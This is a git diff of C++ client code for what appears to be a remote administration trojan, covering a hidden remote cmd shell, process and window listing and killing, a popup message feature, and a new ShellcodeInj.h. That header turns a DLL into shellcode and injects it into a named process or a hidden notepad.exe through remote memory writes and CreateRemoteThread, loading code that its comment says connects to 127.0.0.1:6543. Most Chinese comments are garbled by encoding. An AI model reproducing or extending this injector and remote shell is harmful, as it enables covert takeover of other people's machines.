CServicesManager(IOCPClient* ClientObject, int n);
|
||||
CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CServicesManager();
|
||||
VOID CServicesManager::SendServicesList();
|
||||
LPBYTE CServicesManager::GetServicesList();
|
||||
VOID SendServicesList();
|
||||
LPBYTE GetServicesList();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
||||
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
||||
SC_HANDLE m_hscManager;
|
||||
};
|
||||
|
||||
|
||||
@@ -6,18 +6,15 @@
|
||||
#include "ShellManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
BOOL bStarting = TRUE;
|
||||
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_nCmdLength = 0;
|
||||
bStarting = TRUE;
|
||||
m_bStarting = TRUE;
|
||||
m_hThreadRead = NULL;
|
||||
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||
m_hShellThreadHandle = NULL;
|
||||
@@ -100,8 +97,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
|
||||
|
||||
WaitForDialogOpen();
|
||||
|
||||
m_hThreadRead = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
|
||||
m_hThreadRead = CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
@@ -110,7 +106,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
char szBuffer[1024] = {0};
|
||||
DWORD dwTotal = 0;
|
||||
CShellManager *This = (CShellManager*)lParam;
|
||||
while (bStarting)
|
||||
while (This->m_bStarting)
|
||||
{
|
||||
Sleep(100);
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD>Ƕ<EFBFBD><C7B6><EFBFBD>
|
||||
@@ -126,7 +122,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
ReadFile(This->m_hReadPipeHandle,
|
||||
szTotalBuffer, dwTotal, &dwReturn, NULL);
|
||||
#ifdef _DEBUG
|
||||
printf("===> Input length= %d \n", This->m_nCmdLength);
|
||||
Mprintf("===> Input length= %d \n", This->m_nCmdLength);
|
||||
#endif
|
||||
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
|
||||
int length = int(dwReturn) - This->m_nCmdLength;
|
||||
@@ -136,7 +132,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
LocalFree(szTotalBuffer);
|
||||
}
|
||||
}
|
||||
cout<<"ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n";
|
||||
Mprintf("ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -161,7 +157,7 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
CShellManager::~CShellManager()
|
||||
{
|
||||
bStarting = FALSE;
|
||||
m_bStarting = FALSE;
|
||||
|
||||
TerminateProcess(m_hShellProcessHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
|
||||
TerminateThread(m_hShellThreadHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D>߳<EFBFBD>
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
class CShellManager : public CManager
|
||||
{
|
||||
public:
|
||||
CShellManager(IOCPClient* ClientObject, int n);
|
||||
CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
|
||||
HANDLE m_hReadPipeHandle;
|
||||
HANDLE m_hWritePipeHandle;
|
||||
@@ -25,8 +25,9 @@ public:
|
||||
virtual ~CShellManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam);
|
||||
static DWORD WINAPI ReadPipeThread(LPVOID lParam);
|
||||
|
||||
BOOL m_bStarting;
|
||||
HANDLE m_hThreadRead;
|
||||
int m_nCmdLength; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4>
|
||||
HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||
|
||||
184
client/ShellcodeInj.h
Normal file
184
client/ShellcodeInj.h
Normal file
@@ -0,0 +1,184 @@
|
||||
#pragma once
|
||||
|
||||
#include "StdAfx.h"
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <tlhelp32.h>
|
||||
// A shell code loader connect to 127.0.0.1:6543.
|
||||
#include "SCLoader.cpp"
|
||||
|
||||
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
|
||||
DWORD flags, LPSTR& outBytes, DWORD& outLength);
|
||||
|
||||
// A shell code injector.
|
||||
class ShellcodeInj
|
||||
{
|
||||
public:
|
||||
// Return the process id if inject succeed.
|
||||
int InjectProcess(const char* processName = nullptr) {
|
||||
if (processName) {
|
||||
auto pid = GetProcessIdByName(processName);
|
||||
if (pid ? InjectShellcode(pid, (BYTE*)Loader, sizeof(Loader)) : false)
|
||||
return pid;
|
||||
}
|
||||
PROCESS_INFORMATION pi = {};
|
||||
STARTUPINFO si = { sizeof(STARTUPINFO) };
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE; // hide the window
|
||||
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return InjectShellcode(pi.dwProcessId, (BYTE*)Loader, sizeof(Loader)) ? pi.dwProcessId : 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
private:
|
||||
// Find process id by name.
|
||||
DWORD GetProcessIdByName(const std::string& procName) {
|
||||
DWORD pid = 0;
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnap != INVALID_HANDLE_VALUE) {
|
||||
PROCESSENTRY32 pe32 = { sizeof(pe32) };
|
||||
if (Process32First(hSnap, &pe32)) {
|
||||
do {
|
||||
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
|
||||
pid = pe32.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hSnap, &pe32));
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
}
|
||||
return pid;
|
||||
}
|
||||
|
||||
// Check if the process is 64bit.
|
||||
bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
|
||||
{
|
||||
BOOL bWow64 = FALSE;
|
||||
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
|
||||
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
|
||||
|
||||
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
|
||||
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
|
||||
|
||||
if (fnIsWow64Process2)
|
||||
{
|
||||
USHORT processMachine = 0, nativeMachine = 0;
|
||||
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine))
|
||||
{
|
||||
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// Old system use IsWow64Process
|
||||
if (IsWow64Process(hProcess, &bWow64))
|
||||
{
|
||||
is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check if it's able to inject.
|
||||
HANDLE CheckProcess(DWORD pid) {
|
||||
HANDLE hProcess = OpenProcess(
|
||||
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
|
||||
FALSE, pid);
|
||||
if (!hProcess) {
|
||||
Mprintf("OpenProcess failed. PID: %d\n", pid);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Check process and system architecture.
|
||||
BOOL targetIs64Bit = FALSE;
|
||||
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
|
||||
if (!success) {
|
||||
Mprintf("Get architecture failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return nullptr;
|
||||
}
|
||||
const BOOL selfIs64Bit = sizeof(void*) == 8;
|
||||
if (selfIs64Bit != targetIs64Bit) {
|
||||
Mprintf("[Unable inject] Injector is %s, Target process is %s\n",
|
||||
(selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit"));
|
||||
CloseHandle(hProcess);
|
||||
return nullptr;
|
||||
}
|
||||
return hProcess;
|
||||
}
|
||||
|
||||
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
|
||||
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
|
||||
LPSTR finalShellcode = NULL;
|
||||
DWORD finalSize;
|
||||
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) {
|
||||
return false;
|
||||
}
|
||||
compressedBuffer = new BYTE[finalSize];
|
||||
ulTotalSize = finalSize;
|
||||
|
||||
memcpy(compressedBuffer, finalShellcode, finalSize);
|
||||
free(finalShellcode);
|
||||
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Inject shell code to target process.
|
||||
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize) {
|
||||
HANDLE hProcess = CheckProcess(pid);
|
||||
if (!hProcess)
|
||||
return false;
|
||||
|
||||
// Convert DLL -> Shell code.
|
||||
LPBYTE shellcode = NULL;
|
||||
int len = 0;
|
||||
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) {
|
||||
Mprintf("MakeShellcode failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!remoteBuffer) {
|
||||
Mprintf("VirtualAllocEx failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
|
||||
Mprintf("WriteProcessMemory failed \n");
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
delete[] shellcode;
|
||||
return false;
|
||||
}
|
||||
delete[] shellcode;
|
||||
|
||||
// Shell code entry.
|
||||
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
|
||||
|
||||
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
|
||||
if (!hThread) {
|
||||
Mprintf("CreateRemoteThread failed \n");
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
|
||||
Mprintf("Finish injecting to PID: %d\n", pid);
|
||||
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return true;
|
||||
}
|
||||
};
|
||||
@@ -6,10 +6,30 @@
|
||||
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
||||
|
||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
|
||||
#define USING_ZLIB 0
|
||||
|
||||
#if !USING_ZLIB
|
||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
|
||||
#define USING_LZ4 0
|
||||
|
||||
#if !USING_LZ4
|
||||
#define USING_ZSTD 1
|
||||
#define USING_CTX 1
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
|
||||
#else
|
||||
#define Mprintf(format, ...)
|
||||
#endif
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
|
||||
#include "vld.h"
|
||||
|
||||
@@ -49,19 +69,58 @@ class auto_tick
|
||||
{
|
||||
private:
|
||||
const char *func;
|
||||
int threshold;
|
||||
int span;
|
||||
clock_t tick;
|
||||
__inline clock_t now() const { return clock(); }
|
||||
__inline int time() const { return now() - tick; }
|
||||
|
||||
public:
|
||||
auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { }
|
||||
~auto_tick() {int s(this->time());if(s>threshold)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s);}
|
||||
__inline int time() const { return now() - tick; }
|
||||
auto_tick(const char *func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
|
||||
~auto_tick() { stop(); }
|
||||
|
||||
__inline void stop() {
|
||||
if (span != 0) { int s(this->time()); if (s > span)Mprintf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
|
||||
}
|
||||
};
|
||||
|
||||
#ifdef _DEBUG
|
||||
// <20><><EFBFBD>ܼ<EFBFBD><DCBC>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ӡ
|
||||
#define AUTO_TICK(thresh) auto_tick(__FUNCTION__, thresh)
|
||||
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
|
||||
#define STOP_TICK TICK.stop()
|
||||
#else
|
||||
#define AUTO_TICK(thresh)
|
||||
#define STOP_TICK
|
||||
#endif
|
||||
|
||||
#ifndef SAFE_DELETE
|
||||
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
#ifndef SAFE_DELETE_ARRAY
|
||||
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
class CLock
|
||||
{
|
||||
private:
|
||||
CRITICAL_SECTION m_cs;
|
||||
public:
|
||||
CLock()
|
||||
{
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
~CLock()
|
||||
{
|
||||
DeleteCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
void Unlock()
|
||||
{
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
void Lock()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -6,8 +6,12 @@
|
||||
#include "SystemManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
#include <TLHELP32.H>
|
||||
|
||||
#ifndef PSAPI_VERSION
|
||||
#define PSAPI_VERSION 1
|
||||
#endif
|
||||
|
||||
#include <Psapi.h>
|
||||
|
||||
#pragma comment(lib,"psapi.lib")
|
||||
@@ -21,7 +25,7 @@ enum
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow):CManager(ClientObject)
|
||||
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject)
|
||||
{
|
||||
if (bHow==COMMAND_SYSTEM)
|
||||
{
|
||||
@@ -73,7 +77,8 @@ LPBYTE CSystemManager::GetProcessList()
|
||||
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
|
||||
|
||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
szBuffer[0] = TOKEN_PSLIST; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
dwOffset = 1;
|
||||
|
||||
@@ -129,7 +134,7 @@ LPBYTE CSystemManager::GetProcessList()
|
||||
|
||||
CSystemManager::~CSystemManager()
|
||||
{
|
||||
cout<<"ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)
|
||||
@@ -258,12 +263,15 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ
|
||||
//ͬ<><CDAC><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض˵<D8B6><CBB5><EFBFBD><EFBFBD>ݽṹ
|
||||
if (szBuffer == NULL)
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||
|
||||
if (szBuffer == NULL)
|
||||
return FALSE;
|
||||
//[<5B><>Ϣ][4Notepad.exe\0]
|
||||
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1;
|
||||
dwOffset = LocalSize(szBuffer); //1
|
||||
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㻺<EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
|
||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
if (szBuffer == NULL)
|
||||
return FALSE;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹΪ hwnd+<2B><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>+0
|
||||
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD));
|
||||
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1);
|
||||
|
||||
@@ -15,17 +15,17 @@
|
||||
class CSystemManager : public CManager
|
||||
{
|
||||
public:
|
||||
CSystemManager(IOCPClient* ClientObject,BOOL bHow);
|
||||
CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr);
|
||||
virtual ~CSystemManager();
|
||||
LPBYTE CSystemManager::GetProcessList();
|
||||
VOID CSystemManager::SendProcessList();
|
||||
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable);
|
||||
LPBYTE GetProcessList();
|
||||
VOID SendProcessList();
|
||||
BOOL DebugPrivilege(const char *szName, BOOL bEnable);
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength);
|
||||
LPBYTE CSystemManager::GetWindowsList();
|
||||
static BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam);
|
||||
void CSystemManager::SendWindowsList();
|
||||
void CSystemManager::TestWindow(LPBYTE szBuffer);
|
||||
VOID KillProcess(LPBYTE szBuffer, UINT ulLength);
|
||||
LPBYTE GetWindowsList();
|
||||
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam);
|
||||
void SendWindowsList();
|
||||
void TestWindow(LPBYTE szBuffer);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
||||
|
||||
@@ -10,34 +10,31 @@
|
||||
#include <mmsystem.h>
|
||||
|
||||
#pragma comment(lib, "WINMM.LIB")
|
||||
using namespace std;
|
||||
|
||||
#define ID_TIMER_POP_WINDOW 1
|
||||
#define ID_TIMER_DELAY_DISPLAY 2
|
||||
#define ID_TIMER_CLOSE_WINDOW 3
|
||||
|
||||
#define WIN_WIDTH 250
|
||||
#define WIN_HEIGHT 250
|
||||
#define WIN_WIDTH 360
|
||||
#define WIN_HEIGHT 200
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
char g_Buffer[0x1000] = {0};
|
||||
UINT_PTR g_Event = 0;
|
||||
|
||||
IOCPClient* g_IOCPClientObject = NULL;
|
||||
|
||||
extern HINSTANCE g_hInstance;
|
||||
|
||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken = TOKEN_TALK_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_hInstance = HINSTANCE(user);
|
||||
g_Event = 0;
|
||||
memset(g_Buffer, 0, sizeof(g_Buffer));
|
||||
BYTE bToken = TOKEN_TALK_START;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
g_IOCPClientObject = ClientObject;
|
||||
WaitForDialogOpen();
|
||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
CTalkManager::~CTalkManager()
|
||||
{
|
||||
cout<<"Talk <20><><EFBFBD><EFBFBD>\n";
|
||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
|
||||
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
@@ -52,31 +49,48 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
default:
|
||||
{
|
||||
memcpy(g_Buffer, szBuffer, ulLength);
|
||||
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
||||
|
||||
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||
NULL,DialogProc); //SDK C MFC C++
|
||||
DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg,
|
||||
INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
static CTalkManager* This = nullptr;
|
||||
switch(uMsg)
|
||||
{
|
||||
case WM_TIMER:
|
||||
{
|
||||
OnDlgTimer(hDlg);
|
||||
if (This) This->OnDlgTimer(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_INITDIALOG:
|
||||
{
|
||||
OnInitDialog(hDlg);
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
||||
LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE);
|
||||
// <20>Ƴ<EFBFBD> WS_EX_APPWINDOW <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WS_EX_TOOLWINDOW <20><>ʽ
|
||||
exStyle &= ~WS_EX_APPWINDOW;
|
||||
exStyle |= WS_EX_TOOLWINDOW;
|
||||
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
|
||||
This = (CTalkManager*)lParam;
|
||||
if(This) This->OnInitDialog(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_COMMAND:
|
||||
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
|
||||
{
|
||||
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT;
|
||||
if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
EndDialog(hDlg, LOWORD(wParam));
|
||||
return (INT_PTR)TRUE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
@@ -87,15 +101,20 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
|
||||
{
|
||||
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
|
||||
|
||||
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
|
||||
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
|
||||
|
||||
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
|
||||
|
||||
::SetFocus(GetDesktopWindow());
|
||||
|
||||
memset(g_Buffer,0,sizeof(g_Buffer));
|
||||
|
||||
g_Event = ID_TIMER_POP_WINDOW;
|
||||
SetTimer(hDlg, g_Event, 1, NULL); //ʱ<>ӻص<D3BB>
|
||||
SetTimer(hDlg, g_Event, 1, NULL);
|
||||
|
||||
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
|
||||
g_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||||
m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||||
}
|
||||
|
||||
|
||||
@@ -121,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ
|
||||
{
|
||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
EndDialog(hDlg,0);
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -14,15 +14,19 @@
|
||||
class CTalkManager : public CManager
|
||||
{
|
||||
public:
|
||||
CTalkManager(IOCPClient* ClientObject, int n);
|
||||
HINSTANCE m_hInstance;
|
||||
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
